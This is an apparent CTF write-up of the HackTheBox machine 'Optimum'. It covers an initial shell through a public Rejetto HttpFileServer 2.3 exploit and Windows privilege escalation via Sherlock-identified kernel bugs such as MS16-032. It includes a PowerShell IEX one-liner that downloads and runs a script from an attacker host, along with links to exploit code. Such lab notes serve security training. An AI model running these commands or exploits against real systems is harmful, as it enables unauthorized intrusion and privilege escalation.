> For the complete documentation index, see [llms.txt](https://stanley-chan.gitbook.io/writeups-for-ctf-and-oscp-boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://stanley-chan.gitbook.io/writeups-for-ctf-and-oscp-boxes/hackthebox/optimum.md).

# Optimum

## Process

only open port 80 80/tcp open http HttpFileServer httpd 2.3

check exploit and at the same time do nmap -p- scan

found exploit Rejetto HttpFileServer 2.3.x - Remote Comman | windows/webapps/49125.py

but searchsploit one doesn't work, google and found another version <https://www.exploit-db.com/exploits/49584>

got shell as kostas; got flag too

PE to Admin

![](https://i.imgur.com/rWB1FMC.png)

Run PrivescCheck.ps1 and got nothing useful

Check walkthrough and try WinPEAS, which should return a NTLM hash

With ref to walkthrough, it is noted that Watson module did not work properly → turns out to be the box is running .NET4.0 but min is 4.5

![](https://i.imgur.com/HJ2fIkj.png)

Go for alternative for Watson: Sherlock

IEX(New-Object Net.WebClient).downloadString('<http://10.10.14.9:8000/Sherlock.ps1>')

Then: `Find-AllVulns` will list all vuln

***

Title : Secondary Logon Handle MSBulletin : MS16-032 CVEID : 2016-0099 Link : <https://www.exploit-db.com/exploits/39719/> VulnStatus : Appears Vulnerable

Title : Windows Kernel-Mode Drivers EoP MSBulletin : MS16-034 CVEID : 2016-0093/94/95/96 Link : <https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034>? VulnStatus : Appears Vulnerable

Title : Win32k Elevation of Privilege MSBulletin : MS16-135 CVEID : 2016-7255 Link : <https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135> VulnStatus : Appears Vulnerable

***

Try The first one: LPE

Cannot run as first - turns out to be a problem of 32 bit powershell running on a 64 bit system

After lcoating the 64 bit powershell → ![](https://i.imgur.com/X0FhZie.png)

![](https://i.imgur.com/MmwdFlL.png)

## Takeaway

1. On windows, notice 32 bit powershell cannot run exploits for a 64 bit system